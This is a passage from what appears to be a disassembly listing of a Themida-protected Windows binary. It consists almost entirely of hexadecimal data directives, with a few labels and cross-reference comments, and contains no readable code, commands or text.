4FED28C1h, 0F9B13500h, 0EEBCAC8Eh dd 8B0B3h, 9723AD70h, 1EA93699h, 5334A30Eh, 12610027h dd 0B0B3AAB6h, 0D4DE0034h, 5E4074D7h, 0DC02EB52h, 5470CBD6h dd 0D3C4C85Ch, 117300CCh, 330EFA13h, 94000946h, 26F5F0A1h dd 0A5222Fh, 63539CBEh, 3FC46AB8h, 57C68002h, 0DEEAB004h dd 36DC778h, 54F07D3Dh, 0A5007E88h, 5DB6D4D3h, 9001AA78h dd 752400CBh, 608B79CDh, 0B82521E8h, 6E1060E6h, 46B10366h dd 5FA50BFh, 97B800E5h, 0E145B9F3h, 0FFEE6C0Fh, 80E59C59h dd 797D8A28h, 0C80306AFh db 0EAh, 0FAh word_505446 dw 0F927h ; DATA XREF: ___:off_435748o dd 0BA585A00h, 2E2A07A3h, 0B9F8251Fh, 2408ACE0h, 86AE3D00h dd 0A75CCF9Fh, 0AA72A6h, 2A281D59h, 92A2A1DDh, 3529A51Ch dd 187AD09Ch, 23F970DFh, 944500F8h, 0BFA88CABh, 0F55478ACh dd 520FA780h, 0F269B2B3h, 77002C13h, 1F661410h, 71E50357h dd 4DE86EC4h, 5F1EC0A8h, 76303958h, 415A7900h, 4BD37B2Dh dd 17803D7h, 7EA349EDh, 0C786C0F0h, 184C4016h, 9BE9EC00h dd 0E6583433h, 0C64900E7h, 0FFE52B2h, 102CD32h, 0F2AD578Eh dd 656840E6h, 0C39400C0h, 90E3814h, 7FF02D1Ah, 0D12FE91Fh dd 0CF813DC0h, 0E8D526h, 0EEEF8F71h, 0B96C3997h, 6F003A7Eh dd 0CBDCF73Bh, 91D2258h, 0DFAD2D0Ah, 0C27C8581h, 29D24302h dd 327E908Eh, 0AB0E0873h, 204F8921h, 8872C3BAh, 8C7E78h dd 69BE9197h, 0C6892D76h, 0F020D018h, 1CF2A8h, 8082D747h dd 7B5B8F7h, 1E3A7400h, 0B699DC57h, 0BA9C07F9h, 1871B73h dd 0D4568328h, 3903F20Dh, 0C926C297h, 788D6A2h, 0F1DD635h dd 36FF4063h, 0B10098F6h, 1AC32906h, 0BDAE8Dh, 0C5C40CECh dd 557FCC23h, 0A23CE009h, 0E4F68A03h, 84402E13h, 39C860F9h dd 2D85E1Fh, 0CF30BAFCh, 0B212B000h, 41F6036Ah, 0C03D04BBh dd 437B73E8h, 0E7165700h, 96DE3B3Eh, 54BE4C7Ah, 0FCD64900h dd 6C6432B2h, 0E900E371h, 625E1FE8h, 79E5E16Eh, 131000F4h dd 0E6C9EB87h, 42246F7Dh, 0C100895Ch, 4D5379EAh, 81060E67h dd 2DA08E91h, 0F2E8E744h, 0FC848902h, 0E06E23C7h, 5E4868h dd 0A1C137DDh, 0A9E0C6B5h, 76A8B401h, 79B99487h, 0F6F6AEF8h dd 24362E2Ah, 8CB30010h, 0EB695BB7h, 6F676200h, 251473DFh dd 647B122Ah, 8ECC002Eh, 0E312F1Bh, 0DA55A00h, 0FD493FEDh dd 17BE2CB4h, 3E1D00ECh, 9BF809D7h, 26E2B106h, 0F20FC70h dd 6F15CEDEh, 6616EB00h, 7F3C5E33h, 0BC9C80F6h, 4A8DE70Ch dd 0B25003EDh, 10D3E0E1h, 0A47286B0h, 95285B00h, 0ACDADB19h dd 0E8F5056Bh, 0C0E24101h, 3ACF7686h, 8022EF17h, 5DC2F8C0h dd 9ABD00DAh, 0C112AB30h, 0D00090F6h, 0E8FA9124h, 1293F77Fh dd 40135549h, 4BB39EE4h dword_505694 dd 0DB007083h, 0DF5A8EC8h, 0C02F7Dh, 42C14A6Bh, 7A440AB1h ; DATA XREF: Themida_:0055C51Co dd 8047983Ch, 595DE2DBh, 3FDCBF39h, 0A4800BD0h, 4837C38Fh dd 88C0A77Bh, 0A594E4CAh, 0EBE30996h, 0F8407E3Ch, 0EC002DD1h dd 0C2CB1A4Ah, 3AAA6046h, 0D700C781h, 19F49E97h, 0FB1E292Eh dd 8E96072Ch, 5D397846h, 0B8961699h, 5F7844D4h, 1D25802Ah dd 170321CAh, 0E947DD7Eh, 0D5210142h, 4AD83DF7h, 3F0609Eh dd 46EA2100h, 0C974A98Eh, 2F1D010Bh, 0D243E5D8h, 3900DFFDh dd 0CA90A3C1h, 558EE66h, 6CC65F06h, 84742228h, 292A118h dd 8324EBEFh, 94585339h, 342D210Ah, 6380B4B1h, 0AD66F27h dd 0E921C67Bh, 400CF625h, 291E554Ah, 4F4979C0h, 2C58C064h dd 219F072Fh, 997814FCh, 77CC7989h, 8F9018A0h, 46008A9Dh dd 0FDAEB849h, 603984E1h, 33D3696Eh, 0F1049785h, 0C8BE6D49h dd 747964E8h, 0C6710D96h, 1D691A0Ah, 8FFD0310h, 7B4C7048h dd 0B99F0602h, 0C897BC74h, 39F72E0Ch, 0D880414Ch, 0D733A350h dd 4A3B8907h, 5AD68056h, 69915BABh, 4B2E00B3h, 0EF9CC9C0h dd 2F121883h, 0B90037F5h, 0CB94FFA2h, 0B19A0E64h, 0F34FD8BDh dd 6D20D9E0h, 9D03B538h, 1367DB18h, 9A71E16Eh, 1D271080h dd 0E42CB216h, 0D8F8A10Ah, 6E9E90D0h, 391CC9E7h, 2A2079D0h dd 1B4A2E3h, 60FBB0E5h, 0C8FF1FBCh, 900F802Ch, 134230F1h dd 3C40201Dh, 76E78331h, 50B7D21h, 0BF233A19h, 27F8BCF1h dd 1CDC20EDh, 68482Eh, 0B6ABB504h, 2BEBF6E6h, 69711200h dd 0BA24D3A2h, 0F641F4E2h, 50C4600Bh, 7EB9A0FEh, 1300C6B0h dd 0D16EF5C8h, 38F07484h, 787CB53h, 0A054448Fh, 1C79CCDDh dd 4005AB01h, 1D2A5193h, 7A007C39h, 1C0943AAh, 3E7DCEBBh dd 82288600h, 15394C41h, 91E50036h, 2A95B0C6h, 3F000E0Ch dd 59809A98h, 0CB10A0h, 3E69274Ah, 0A4BC6F37h, 4F67151Eh dd 8C849040h, 0FE73A7h, 9FE7F10Ah, 0A652E5D6h, 0DEA98F00h dd 0EAB94E44h, 2F1500A2h, 93B7B4C5h, 2300F445h, 5A7DBAC1h dd 1F1099E4h, 84F6388Bh, 87BD6920h, 8FC7B064h, 5400C282h dd 0D9B2337Ch, 22EAEF8h, 0B4317E52h, 7AE0F9E7h, 94B0FB97h dd 32008C7Ch, 0B0F6152Ch, 46288B9h, 3116373Dh, 0B484BF02h dd 223810C0h, 3B85ADAh, 59710684h, 0E096DDF0h, 65ACC300h dd 84394414h, 27EC173Ah, 0CD880036h, 9A9CB7F8h, 0D292C505h dd 830090D9h, 0CC0D49E6h, 928F76E3h, 0D3CD4A30h, 0D3D007E4h dd 61D7177h, 0F117B116h, 0E1686F01h, 2BC8EA2Ch, 0CDFC0379h dd 0BA5E8BDDh, 0CD506A8h, 577B4B00h, 0C1CFD282h, 5812000Bh dd 0EAD7F310h, 203CA8FCh, 4089002Ch, 71849A03h, 0C05C5ACCh dd 5FECCF30h, 1819EE00h, 0D5F4B47Eh, 0E92F098Dh, 7C207D3Ah dd 0B51A2AD0h, 18026C9Ah, 7AE530C9h, 7F078BAh, 0F3B6916Ch dd 2FE711E8h, 0B41BEC10h, 0C4C6974Bh, 93E30939h, 0CA020D6h dd 0A14C9DAEh, 90C29509h, 0AEEC0EE4h, 4E91A06Fh, 58BCF1h dd 0A36A440Bh, 688A4DBBh, 578AF5Ch, 498C6074h, 3F737781h dd 542FFFC4h, 0B22DA884h, 12700238h, 928891BEh, 59806467h dd 8AA81301h, 0BFE70B90h, 10004DA6h, 89D46E5Bh, 0DEA55702h dd 68B9CB21h, 1F70888h, 0BACF46C1h, 648AD2ECh, 0DC88322Ch dd 46AB03C9h, 0C412841Ah, 5CC703B2h, 14889E13h, 3CF00C7h dd 6A544B88h, 0BF006099h, 2DE312E8h, 0B8CE9A7Bh, 0EBF02F94h dd 0B7A9F0C0h, 0E7667E18h, 1FD5F1h, 0BC5DA6EFh, 7FC0FFCBh dd 75963100h, 0D0FBEA05h, 26AB8A7h, 29F4D4DBh, 84802643h dd 73F93D31h, 5D108060h, 0EE7FDE9Bh, 8DD7000Fh, 0A71A8BCAh dd 0E40270F9h, 95F4852Dh, 0B05E601Ch, 0C2C13947h, 0C94BDB07h dd 0BB9B80D5h, 2E00969Eh, 61A841F5h, 0ADF422h, 0E6F3B1B4h dd 4CEFF695h, 88FFF00h, 0D7745713h, 0DDFB7221h, 0B9BC028h dd 84456E41h, 617BDC72h, 289ACF07h, 8039E288h, 0A630066Bh dd 59540098h, 499D9C07h, 0F00B512h, 8B27FE28h, 321B280h dd 0DE69BA67h, 98004696h, 7ED6507Fh, 0F6168656h, 0DCB400F4h dd 8B8077E6h, 8C79179Ah, 0E8982105h, 0C81BE0ABh, 0B79CF058h dd 913901D7h, 0A44E16D9h, 0BB7EEC26h, 5E067C70h, 78E9A5B4h dd 69230078h, 4595EB46h, 720A588Bh, 0A87D030Eh, 0F5A0C900h dd 11ADF3h, 0DF8F66B5h, 558E7B26h, 0A8953730h, 620561h dd 8C44BAFDh, 0FEA959A2h, 7B1CDB0Fh, 3FA8A071h, 729E1F6h dd 2E9A6D76h, 209780F8h, 0A00082C7h, 0D2D5A806h, 0C67C59h dd 0AF7B9588h, 0B868E8CCh, 11D4D1F2h, 0DDC003Bh, 0F9D2F63Ah dd 5719C0E4h, 44A993B8h, 0DC01691Eh, 0EC722A7Ch, 42D1D200h dd 0AF242367h, 0A56E8B9h, 4C7B2E99h, 0D6580090h, 295DED05h dd 75EC940Ch, 401114h, 83B19CE9h, 7A311E6Ch, 47543D18h dd 0B55C58h, 0F4B2E0D6h, 595308E8h, 9CF67B00h, 5689480Eh dd 0BCD24A8Ch, 46700089h, 130A733h, 0EAE4035Fh, 0CCB28DF3h dd 0EBA2C7E0h, 818B0C01h, 0DE03B973h, 3A809F4h, 34CA2E30h dd 1007B1EDh, 6C03C5Fh, 68151DE0h, 0EA8F3E53h, 0A21CCE00h dd 3C78361Bh, 0B743F500h, 23D95D17h, 2DE2008Ah, 0E35939AAh dd 4C008DE9h, 1CBCC22Bh, 7DD21Fh, 32DA0F0Ah, 6356FCFEh dd 5D139B01h, 260CA693h, 9ABADCh, 0B6F3F968h, 194D1186h dd 0AD185F00h, 91C9136Bh, 0E2A80534h, 7C67D2Bh, 0E02E2CB8h dd 0E7A7AA30h, 4A2DB33Bh, 0A5333CFCh, 60CB27CCh, 6B6C77D8h dd 76352400h, 0F4B3A4DEh, 11286061h, 30F3B2A3h, 75F89700h dd 0C863DA9Ah, 0B3BF3F1Fh, 367BE700h, 0CEC64B22h, 76E69F00h dd 8B17F9F5h, 0A666006Ah, 8E600F3Ah, 0F806FADBh, 2906CAACh dd 544600A0h, 6F1466D7h, 65000312h, 35D0DD57h, 1D68E6D2h dd 4013FF82h, 8CF39BCBh, 2F50EAD3h, 0E01F66F0h, 2140D51Fh dd 0F5E7D683h, 17F40424h, 91A628AAh, 0CA26AFECh, 0E47F4901h dd 1A120h, 874413CEh, 0FEF892DCh, 8EAD405h, 0D380180Eh dd 7AC2D33h, 6306BA6Bh, 7CDD207Ah, 6600AA8Dh, 0B9A2B391h dd 15C6C8h, 4DF29386h, 0A5779C92h, 0DCD0FF00h, 8AB16051h dd 12817D0Bh, 403137DAh, 6EAB26D8h, 0CD00E085h, 67A33E0Eh dd 0E665209Eh, 62450391h, 0D7BA28AFh, 85C568C8h, 9A78ACC0h dd 0F59392h, 0F9F31F5Dh, 0BB0CE59Bh, 7A19141Dh, 0E11EB100h dd 169BF0Fh, 7C24A310h, 3097BA5Ch, 5702AD08h, 0DBED9ED9h dd 44DAE056h, 0C6290752h, 56F52AE3h, 0C816A14Bh, 0F700F6D8h dd 0CFE1726Fh, 0EE9C2C16h, 1C1207h, 0A2A87C81h, 75004A43h dd 9C8EB80Ch, 0E06A6F5Bh, 7DA409A3h, 98A0D26Ch, 7CE967BDh dd 0AE10111Ch, 0E362B2CAh, 0A28F320Ah, 92BC0C02h, 13E06CA0h dd 40D45A4Dh, 2CE68CD8h, 93F67B5Ch, 5E01209Ah, 35B902ACh dd 0CB474191h, 398024BAh, 0FD4F4680h, 0A2D2049Ch, 0D1E36344h dd 0D4A15620h, 5F607213h, 4F379F21h, 44100F4h, 0E4860731h dd 0ED1FA9B3h, 0E118D1A7h, 0C55429h, 3FA3716Ah, 0D061220Ch dd 7A3B3D09h, 12100107h, 804C69A0h, 58688DAh, 0B4036800h dd 0E3A1DE6Eh, 52A0C876h, 7D35A586h, 0C8333C81h, 0CFF0D71Eh dd 0FEA11950h, 636F23CCh, 0A0884C5Ch, 3224159Ah, 0DAD2533Ah dd 50AAA849h, 669DD1CCh, 65099700h, 0AF6F5DB2h, 4D1F7CFh dd 30208847h, 920F7FD2h, 3E9D0354h, 9C96FD74h, 0CAB4803h dd 83706AB2h, 2DDED883h, 8CD6007Ah, 5C971BE9h, 1C927475h dd 270EE614h, 38672CE4h dd 0F3C6D980h, 629931h, 0ACC3A797h, 0C15C90E2h, 4B944300h dd 0E9E0B2BCh, 0A697005Fh, 0C4A16AB1h, 0CA006213h, 8A0AAC39h dd 2796B55h, 0E0999B0Eh, 30C0F9EDh, 0DF18D140h, 1A11A79Eh dd 448F7E7Bh, 89045AE6h, 0D02B36C9h, 0D5974183h, 58A2E097h dd 0AA0848DAh, 92901804h, 0FDA8112Ch, 6ED1FB60h, 2A3BF287h dd 1EB89BC6h, 1FAEBEEh, 4E4AFB4h, 572880AEh, 0CB87886h dd 4A49161Ch, 8B484848h, 706D062h, 438680A3h, 0A8160A20h dd 0B0009295h, 39946472h, 19D7009Fh, 9087256Eh, 542C6543h dd 0A7072C83h, 189003D3h, 3940BC1Ah, 0EA836336h, 89C621E9h dd 84560FA8h, 731BB717h, 0BB0E3300h, 0F975A24h, 2F8051ECh dd 0A9629FA1h, 69A0E3FDh, 0D700B3FFh, 0F2CBB5DFh, 38C570DBh dd 0AD484EC6h, 0C90F7700h, 55F49C4Dh, 58FE783Dh, 8E0D0154h dd 0DA8C22F0h, 60069840h, 67D30041h, 23E93492h, 0C34840EBh dd 48F02644h, 0C825BC0Ch, 3927C48h, 324197F3h, 0C0E82679h dd 0EA0E98F4h, 0E0AFF7E0h, 383972E9h, 0B3FD3761h, 60377011h dd 752F32ACh, 2125E11h, 0B422C364h, 692C3CC6h, 0A60044FEh dd 0B7D24D50h, 492700BAh, 0AFEDC1BFh, 0F73A88F6h, 3E4F82FFh dd 0E055D441h, 38E620FCh, 7EC9E8h, 49880530h, 0A54B2D4Dh dd 0F8492FB8h, 5BCA00E4h, 1172D78Ch, 0C341145Eh, 0C216F016h dd 0BBAC404Ch, 0AE2BD28Fh, 0B08AEB24h, 5A57C684h, 0F4CC2890h dd 2DF2794h, 0A0055D6h, 5956D664h, 5A7300D8h, 1A89AAA9h dd 271EDD1Fh, 0CA0191AFh, 512A6C41h, 5A31820h, 34236BBEh dd 0C284D0FDh, 0BD077D42h, 6AFF372Ah, 748883B4h, 8F409152h dd 5900EB7Ch, 50974AEFh, 0DEB47E00h, 0A2450FCCh, 3A7F13ADh dd 8C380FFDh, 3386D9C0h, 0F807D2BEh, 539CA370h, 345C4F50h dd 80380178h, 0EA46128h, 6AC6D4E5h, 6DC0E407h, 0E0E00B55h dd 0B077C3h, 6239EAD2h, 6FF15928h, 0B55A2000h, 6263614h dd 163001Dh, 978C7A7Eh, 3E764BF0h, 0D6CA3B00h, 6131A229h dd 2BE11DDBh, 0FE07C089h, 0EA189B8Eh, 810076ECh, 5714421Ah dd 126A844h, 0E4883BEDh, 0D4750AF9h, 0DD031018h, 0AF8A1A3Ah dd 1E3B170h, 0B85F5BE0h, 25E703A4h, 1ED58F82h, 9B515D80h dd 24CB3800h, 49D06368h, 627FE5h, 8A221FA8h, 82E6DA4Bh dd 9F642300h, 6D58D20Dh, 982E00BCh, 0E466B2F6h, 6C0EF501h dd 32C15EB7h, 61708000h, 90A63C8Fh, 11C800DFh, 0C2187344h dd 0A500F9B1h, 1974413Bh, 7777606Bh, 0F26A0130h, 7DE0B7B8h dd 8B11BB34h, 822CDFB6h, 409F91C7h, 7943E480h, 2619E4A3h dd 80503A60h, 0B550998Ch, 0D403A25Ah, 6DBE12F8h, 0DF9DB0B9h dd 577B5CDAh, 8048AB24h, 0F0E120B0h, 0B370ED60h, 4A774300h dd 5232E5C1h, 27D1CAFh, 0E99380CEh, 86E18927h, 0E065C1F1h dd 96093FBCh, 407B92ACh, 125EEEF8h, 8B4E09h, 0E2264967h dd 11DD4A12h, 0CE004D92h, 6B1A2A0Eh, 0E7960F9Dh, 72A0C7h dd 2EDD6CB0h, 5F00F213h, 0DF6D8EB3h, 0EE0F32h, 778CA95Dh dd 2B1033DCh, 70ADC8EDh, 19B27F1Eh, 952512C0h, 9E9B64h dd 7415DF14h, 98A5B896h, 18D88A01h, 95F4A68Dh, 163B1AF4h dd 1BAFB1h, 0FB8C7DA6h, 797C02D7h, 5DF1C160h, 58DDBCh dd 0CB57FF82h, 8396C226h, 340005FCh, 0CA551904h, 96180DFh dd 9C226EA9h, 0B6EEB800h, 6F3CE6C5h, 0EF670035h, 7BE2B9B8h dd 65440033h, 0E3C2B5F1h, 0BD0FA62Ch, 899AEEBEh, 0B884AF34h dd 783311h, 0A2716B25h, 0BBFF49C6h, 61561916h, 0D788C400h dd 0F30624h, 34F5AD03h, 0D07D3AFBh, 920C94Ch, 80662042h dd 2F0A9928h, 0AF240153h, 97AE8881h, 0EAD440A2h, 8F1EFF6Ah dd 0C870DB85h, 20DD36EFh, 23FE9BBEh, 0E37B3200h, 6BF2A9A8h dd 77360025h, 0F0A7A6DFh, 2F58226Dh, 32310778h, 2E95223h dd 0C309C573h, 8157D073h, 0E8A4036Eh, 7B76263Eh, 21EDC900h dd 907F0B2Eh, 0FD8D01A0h, 5F1A5111h, 5994D803h, 0BD00A4B8h dd 4BA560A6h, 1E92CFBFh, 0CC4C95EBh, 88A4ADF5h, 70F6FC2Ch dd 2CD26A00h, 3D15B39Ah, 18020BBh, 0D87DE9E3h, 0C098F759h dd 5AA8FB00h, 4C3F62DEh, 8CE3004Fh, 0CF61F357h, 7006722h dd 0E786448Dh, 7130880h, 0F045AA1Ch, 1EB863DFh, 5F4192F8h dd 0A0956226h, 7320D507h, 0ACF69640h, 43840BABh, 8800E460h dd 93A50A08h, 0DC001C90h, 40C1A351h, 71336F5h, 1E8AA5Ch dd 0ACD107Ah, 1F7BD8D3h, 0B880FC26h, 6CEFC360h, 6B9F01A3h dd 1A71354Dh, 0EA7C3065h, 6E805500h, 0F3EDA169h, 0BC2702E3h dd 0F49E9872h, 7805D880h, 9F38564Dh, 2F120049h, 0B261529Ch dd 4C9D0FB6h, 220B29A3h, 31E0F4AEh, 0AF427EA2h, 7904DCB0h dd 0BF655AB3h, 0D7461404h, 0ABDFF054h, 67002835h, 0E5ADAE34h dd 7B252FA9h, 747F0068h, 6E2D2C63h, 9B009CE6h, 0D1099BCh dd 17C064Eh, 0EF681B7Bh, 30A2CE30h, 8727205Ch, 691819D7h dd 5CEADCCh, 34ECAAE8h, 794C013h, 55000F72h, 5802F1F5h dd 1336641h, 0BAC76298h, 64D89274h, 0D0002CCCh, 0FC1AC316h dd 0CFF38h, 7FFDE641h, 3483DC7Bh, 0D675BB00h, 0E131A95Bh dd 0EF9C0252h, 3B4C8680h, 5CB81060h, 0ED6C7000h, 555A4840h dd 0A2CC00B3h, 0C38E60E0h, 0E9176B27h, 0EC5C81EFh, 0D3ADC170h dd 0E34AFAh, 0C9B756E4h, 3F01C7DEh, 0F9966151h, 4749816h dd 575222C1h, 97F1C900h, 5F4F43C0h, 4E3B0066h, 0C7C46ABCh dd 2D06E046h, 0FA52010Ah, 0DA480358h, 7D24DF85h, 6A733188h dd 49BAE101h, 6F3862E8h, 1EB018C4h, 644C748h, 74660A7Dh dd 0AD4D6D00h, 0FE803132h, 70BE4C62h, 8C201500h, 0A2ECD851h dd 6D18D600h, 0F8269201h, 0BA2400FBh, 0ED3F06ABh, 271D4742h dd 115C399Eh, 0D40180FCh, 2A77A2BBh, 0F5A6007Bh, 0C178AA8Bh dd 0FF0388DFh, 150F073Fh, 0F36288C6h, 11DB009Ch, 299AFA76h dd 0D004808h, 0C93178FFh, 14A18986h, 0E4998246h, 0E5D74E0Fh dd 6654CF60h, 0D9714F06h, 5200DBFEh, 0D6510464h, 0C83E2h dd 4E1EDE86h, 0D993657Bh, 22DC051Ah, 40C8011h, 2682120Bh dd 73C4BA7h, 0A00235F9h, 7ED59584h, 4E130400h, 8DC4B5FAh dd 8BB4135Ch, 4CB023D7h, 60E08F8Ah, 0E805F5F7h, 0F378A156h dd 0D8CBC0C0h, 0F874000Fh, 711CD776h, 35008301h, 12D6688Eh dd 14A2F13Bh, 99560AFEh, 72210B77h, 0E8877A77h, 1BE3AFE9h dd 0F2B0D3BEh, 267CC7FAh, 456E4002h, 0E0F6C2C4h, 0ED43F8h dd 7C11A5F1h, 99615C82h, 0D027D6B8h, 0A98000FDh, 18E08628h dd 1213772Bh, 0CA072EB7h, 50B4807Bh, 8C48E6C0h, 34F005A0h dd 0C01EA483h, 1BD79710h, 29C058h, 0EB109A6Bh, 90A9F9F7h dd 956C004Ch, 0B91E2CDDh, 0E764C954h, 0C0BB3A19h, 96D2A1Ch dd 1C2E0148h, 2170D843h, 215744Bh, 3C79F860h, 3440F4A4h dd 0BB00B857h, 0D85D1B47h, 71205FA7h, 97DB00CBh, 0DC95650Bh dd 6E00CF7Ch, 0AD0D0FA3h, 399DD857h, 281EE354h, 0CC12FCh dd 79B65E14h, 3A80986Eh, 0AB0100F3h, 227A78B3h, 50FF53Bh dd 2176AFA7h, 0FEF23D20h, 2661E8E0h, 0F3F302h, 3A955F71h dd 0C7F4D6A0h, 0BC3F102Eh, 0A6756F01h, 14204CCAh, 5D52231Dh dd 805F548Eh, 8683052Fh, 4D498ADh, 7F0E5AF2h, 14E890A2h dd 0C400462Dh, 0E66D2FE0h, 0F5AAD7h, 351C1D92h, 122B4CB3h dd 30AA30Bh, 3A4E80CEh, 1487D10h, 2FD31513h, 3072D536h dd 0C7132274h, 3612F951h dd 0DDF17404h, 62050D40h, 9D0055DFh, 0F74CEFB0h, 68BFD38h dd 11136918h, 24006006h, 3B8A80F6h, 107C4E5h, 0D81922BEh dd 70E3D57Dh, 0B200E902h, 1EC80DCCh, 3B3899E4h, 1F8108C7h dd 52EA5512h, 5E382084h, 0EED75F44h, 7749ABCh, 590A318Dh dd 80CFF5A5h, 2FD9C6F3h, 6C0040B8h, 804A8879h, 0A8B1AF5Eh dd 0E83D0490h, 0C2DF2EEEh, 0AAE609F3h, 7B8B007h, 0D3770D2h dd 1600CB2Ch, 8A27E55Fh, 97344h, 0C98553A8h, 4905D41Dh dd 0BD4E9E00h, 4D263A70h, 14973D01h, 0F1DF2C80h, 33F80982h dd 17C00A07h, 0A0CAFB10h, 0DC28FF02h, 51F8803Ch, 3077355Dh dd 1FD96317h, 5988BDCDh, 8D5600E9h, 5A658A57h, 363DCFDAh dd 0A18F8CD1h, 1233E070h, 0C80EBF31h, 8241ACACh, 0C73AECh dd 23CC5BB4h, 7F8C0868h, 884C6FFEh, 4CBD0041h, 74430F59h dd 705D0011h, 0EF24AE8Bh, 0FF0E803Dh, 1EBB6538h, 66C1003Dh dd 39429E6Ch, 0E20A00FCh, 0DE7D8ECCh, 0D902645Dh, 8BDA5BB0h dd 7C1C6045h, 1FF772BBh, 0B62894Ah, 3C804D7Eh, 0EDEE37A0h dd 0C2253Ch, 13973580h, 7F10E8h, 1CE21DA1h, 84EB911Ah dd 0A707FD13h, 0BAD15C04h, 88003894h, 4BC3DB01h, 12E6004Dh dd 90FB64E4h, 413C3991h, 321B1D71h, 1684202Dh, 0B6C63h dd 30537B82h, 0B6CE04F2h, 3B927250h, 0F8F051h, 394C84CBh dd 0C3EAEE00h, 496965A0h, 3CECF022h, 75019EC5h, 0F1FF873Dh dd 0CFD443D0h, 0D3E9C289h, 4B5A1FF8h, 0A6C7E0A8h, 25B1A260h dd 3A176AB3h, 230B9B27h, 0D80F13EBh, 1087A30Fh, 0A8C9C35Bh dd 0F42F1FB9h, 0C728BACAh, 0F20E207Fh, 61DF5321h, 8A3C4B5Bh dd 726F8828h, 0D82D071Fh, 0BAAA904Eh, 7F0D4497h, 88C00818h dd 0A15F3CECh, 488C1D18h, 0F33821FAh, 3D2C1F0Ah, 170A1063h dd 42181C0Ch, 0A0A4A288h, 0BB4394h, 0D717E6DCh, 7FBCC891h dd 0D1F0D200h, 34388473h, 5BA103C1h, 74989C46h, 0CA721780h dd 84FF2500h, 0BBE65A6Ah, 386509CCh, 0D3808A21h, 1D9CDC45h dd 6986D03h, 1A786D2h, 0E93E8E89h, 7152F90Eh, 5D853068h dd 2DD4AD00h, 0D0F71D25h, 188750B5h, 82FD00B7h, 451EF8A2h dd 0E63C7C6Dh, 818502EDh, 0C3F7B99Ch, 0A18E0E8h, 0EE97E45Fh dd 12820479h, 801FDDD6h, 0B92D1CAEh, 75B3FE0Eh, 0B146A194h dd 0E850597Eh, 0F8808564h, 4FE300E5h, 0ED6E1165h, 32001D7Ch dd 2AD457A1h, 0C04C22ADh, 873CAC31h, 1A07AB91h, 8BA6811Fh dd 0CA9CEAB1h, 0B98997E1h, 9F00C7F5h, 0ADCC764Ch, 414E2330h dd 929F4555h, 18970000h, 11C88F39h, 28C81BABh, 81D18349h dd 5100A587h, 0E3AC4D21h, 0ECE86B59h, 0B985000Bh, 1C7960ECh dd 57627FF0h, 40B23339h, 77566E1h, 9F5ABA0Dh, 0F04CD094h dd 0D500E0FAh, 164DADBEh, 398893Fh, 0E1E9B9D1h, 1BE00991h dd 9D01BAB4h, 0F57EFB96h, 706041CEh, 344C0118h, 2D3CBBB0h dd 426AD054h, 5B2711C4h, 15573160h, 75545822h, 4F17303Ah dd 90628A41h, 0C04DB56h, 109135A1h, 302CF80Ch, 422165A3h dd 32059A47h, 8EBF5CEBh, 6008D686h, 3F232177h, 751F489Ah dd 0E240F772h, 6EA06062h, 83533399h, 0C5E02A61h, 9EFA0B57h dd 292FC00h, 0DFCC82E3h, 0A63A1401h, 763A485Fh, 0C38DEA79h dd 0C823B011h, 6F1F17C8h, 90F5E33h, 7F21588Bh, 0E170C800h dd 0EA4DCF51h, 0A3016B7Dh, 69CD52ACh, 0E9B8DC0Eh, 0C8D18481h dd 83640AD5h, 72CF9B71h, 2BF8237Bh, 339A4801h, 7A1854EBh dd 402288h, 50F0BB9Ah, 0F8030B3Bh, 7769D267h, 9D8008C0h dd 4BC0ADDh, 83848574h, 25C91B54h, 0FD5BF0D8h, 0D5751C00h dd 4945E903h, 298D6073h, 4C7FC606h, 72137E18h, 76F3DC8h dd 98AAC9FDh, 97E61284h, 807080A7h, 0A444A60Ah, 6F3F5300h dd 2DFE0E54h, 28E0378h, 66A2AD15h, 37CB907h, 932A11A8h dd 461FB11Ch, 99CD595Eh, 91F1C154h, 83CCCFC1h, 820D178Fh dd 1C39054Bh, 6A4428Bh, 0DCA879D8h, 803811D8h, 173CC821h dd 84448C2Fh, 0C829064Eh, 71AAF794h, 797F7430h, 1A41EF2h dd 0D8F6D1A1h, 0E84E9B57h, 880B1187h, 872DF758h, 9E27795Dh dd 2A0DD6E1h, 9402D994h, 2803BD3Ah, 88F617D5h, 6F03C4C0h dd 61B08764h, 7B5C9943h, 6DA17119h, 6530A341h, 0D63E0081h dd 6A79F2BAh, 1824A1F6h, 467C8C8Fh, 7A3C7470h, 8FB0E484h dd 8B8A1F08h, 5A808895h, 501EAF09h, 0AE3500D5h, 0E76E915Dh dd 0E80E062Bh, 78749387h, 0F38BB1h, 3CD231E9h, 1FE4DCCAh dd 9E4C961Fh, 7449B752h, 28381870h, 6B0800FDh, 55F3D9D8h dd 710054A3h, 150B7807h, 0E2E52A91h, 0DF8312B0h, 23C03F23h dd 0B61E0088h, 70636695h, 0B0FFFB00h, 9D1B7D0Fh, 29F60CF7h dd 0E7317E8Bh, 2D7773Bh, 508E8103h, 4ED0C158h, 92DF270h dd 29B5468Bh, 40D8DC04h, 0E10BD0FBh, 6F247C42h, 0FC814915h dd 5411D805h, 235C2EECh, 0F7FA0984h, 75611090h, 0A2CDFB12h dd 0DE1A7806h, 6D62619h, 0F78F4118h, 0F184240Eh, 0F83031F0h dd 33BB29D9h, 0B9494CA5h, 5C943E06h, 0EE60084Fh, 0A53C1E21h dd 0BFC21682h, 82281E23h, 5E609941h, 62202C48h, 88734215h dd 386A00E0h, 0F0224CDh, 9DF19B4h, 8070081Fh, 0CD304C21h dd 3FAFB7h, 0BA3ED587h, 0D983FAECh, 90FBBD28h, 2C701944h dd 18DBD3D6h, 0C2B491E9h, 23E7270h, 11C92C0Eh, 0A315DD00h dd 135F55D3h, 4889F65h, 43F9D628h, 18D71169h, 898C7441h dd 0E1006EAEh, 0D885BB3h, 30AB06FDh, 4529D3F7h, 0F4F2D216h dd 81AF5D02h, 84656F6Dh, 226037D8h, 0E9B83DC8h, 8144D88Ch dd 0C82A004Dh, 0E277C451h, 19C07F8Bh, 0FB9F8684h, 3B2C00D7h dd 0E6CCB71Bh, 7702A181h, 0D1188BFFh, 796061CAh, 75C1E849h dd 809B8B11h, 4236DD49h, 78267F4h, 88709EA9h, 57DC608Fh dd 375098DEh, 80608B80h, 3EB5F431h, 0E84D00EDh, 4A365C74h dd 0C8038352h, 0F777C244h, 6A7103DFh, 0A1FCA688h, 311EE080h dd 8BF19C99h, 0C501F318h, 5D2CAC13h, 5AD5F8FBh, 7DC96D0h dd 0FF211FC1h, 0E3E1CF6Fh, 0C09EF2F6h, 943EA30Fh, 842B06E8h dd 0A15183E1h, 64D629D4h, 227C1444h, 9E009D3Eh, 0C9CF536Fh dd 